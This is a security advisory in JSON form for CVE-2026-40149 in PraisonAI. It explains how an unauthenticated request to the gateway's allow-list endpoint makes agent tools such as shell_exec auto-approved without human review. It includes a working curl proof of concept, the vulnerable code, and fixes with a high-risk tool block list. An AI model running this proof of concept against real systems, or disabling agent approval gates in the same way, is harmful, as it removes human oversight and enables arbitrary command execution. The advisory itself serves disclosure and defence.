CVE-2026-40149: PraisonAI Unauthenticated Allow-List Manipulation Bypasses Agent Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4wr3-f4p3-5wjh",
  "modified" : "2026-04-10T19:24:11Z",
  "published" : "2026-04-10T19:24:11Z",
  "aliases" : [ "CVE-2026-40149" ],
  "summary" : "PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls",
  "details" : "## Summary\n\nThe gateway's `/api/approval/allow-list` endpoint permits unauthenticated modification of the tool approval allowlist when no `auth_token` is configured (the default). By adding dangerous tool names (e.g., `shell_exec`, `file_write`) to the allowlist, an attacker can cause the `ExecApprovalManager` to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.\n\n## Details\n\nThe vulnerability arises from the interaction of three components:\n\n**1. Authentication bypass in default config**\n\n`_check_auth()` in `server.py:243-246` returns `None` (no error) when `self.config.auth_token` is falsy:\n\n```python\n# server.py:243-246\ndef _check_auth(request) -> Optional[JSONResponse]:\n    if not self.config.auth_token:\n        return None  # No auth configured → allow everything\n```\n\n`GatewayConfig` defaults `auth_token` to `None` (`config.py:61`):\n\n```python\n# config.py:61\nauth_token: Optional[str] = None\n```\n\n**2. Unrestricted allowlist modification**\n\nThe `approval_allowlist` handler at `server.py:381-420` calls `_check_auth()` and proceeds when it returns `None`:\n\n```python\n# server.py:388-410\nauth_err = _check_auth(request)\nif auth_err:\n    return auth_err\n# ...\nif request.method == \"POST\":\n    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name\n    return JSONResponse({\"added\": tool_name})\n```\n\nThere is no validation that `tool_name` corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.\n\n**3. Auto-approval fast path**\n\nWhen `GatewayApprovalBackend.request_approval()` is called by an agent (`gateway_approval.py:87`), it calls `ExecApprovalManager.register()`, which checks the allowlist first (`exec_approval.py:141-144`):\n\n```python\n# exec_approval.py:140-144\n# Fast path: already permanently allowed\nif tool_name in self.allowlist:\n    future.set_result(Resolution(approved=True, reason=\"allow-always\"))\n    return (\"auto\", future)\n```\n\nThe tool executes immediately without any human review.\n\n**Complete data flow:**\n1. Attacker POSTs `{\"tool_name\": \"shell_exec\"}` to `/api/approval/allow-list`\n2. `_check_auth()` returns `None` (no auth token configured)\n3. `_approval_mgr.allowlist.add(\"shell_exec\")` adds to the `PermissionAllowlist` set\n4. Agent later calls `shell_exec` → `GatewayApprovalBackend.request_approval()` → `ExecApprovalManager.register()`\n5. `register()` hits the fast path: `\"shell_exec\" in self.allowlist` → `True`\n6. Returns `Resolution(approved=True)` — no human review occurs\n7. Agent executes the dangerous tool\n\n## PoC\n\n```bash\n# Step 1: Verify the gateway is running with default config (no auth)\ncurl http://127.0.0.1:8765/health\n# Response: {\"status\": \"healthy\", ...}\n\n# Step 2: Check current allow-list (empty by default)\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": []}\n\n# Step 3: Add dangerous tools to allow-list without authentication\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\": \"shell_exec\"}'\n# Response: {\"added\": \"shell_exec\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\": \"file_write\"}'\n# Response: {\"added\": \"file_write\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\": \"code_execution\"}'\n# Response: {\"added\": \"code_execution\"}\n\n# Step 4: Verify tools are now permanently auto-approved\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": [\"code_execution\", \"file_write\", \"shell_exec\"]}\n\n# Step 5: Any agent using GatewayApprovalBackend will now auto-approve\n# these tools via ExecApprovalManager.register() fast path at\n# exec_approval.py:141 without human review.\n```\n\n## Impact\n\n- **Bypasses human-in-the-loop safety controls**: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.\n- **Enables arbitrary agent tool execution**: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.\n- **Persistent within process**: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.\n- **Local attack surface**: Default binding to `127.0.0.1` limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.\n\n## Recommended Fix\n\nThe approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:\n\n**Option A: Require auth_token for approval endpoints (recommended)**\n\n```python\n# server.py - modify _check_auth or add a separate check for approval endpoints\ndef _check_auth_required(request) -> Optional[JSONResponse]:\n    \"\"\"Validate auth token - ALWAYS required for security-critical endpoints.\"\"\"\n    if not self.config.auth_token:\n        return JSONResponse(\n            {\"error\": \"auth_token must be configured to use approval endpoints\"},\n            status_code=403,\n        )\n    return _check_auth(request)\n\n# Then in approval_allowlist():\nasync def approval_allowlist(request):\n    auth_err = _check_auth_required(request)  # Always require auth\n    if auth_err:\n        return auth_err\n```\n\n**Option B: Restrict allowlist additions to known safe tools**\n\n```python\n# exec_approval.py - add a tool safety classification\nALLOWLIST_BLOCKED_TOOLS = {\"shell_exec\", \"file_write\", \"code_execution\", \"bash\", \"terminal\"}\n\n# server.py - validate tool_name before adding\nif tool_name in ALLOWLIST_BLOCKED_TOOLS:\n    return JSONResponse(\n        {\"error\": f\"'{tool_name}' cannot be added to allow-list (high-risk tool)\"},\n        status_code=403,\n    )\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.128"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40149"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-396" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:24:11Z",
    "nvd_published_at" : "2026-04-09T22:16:35Z"
  }
}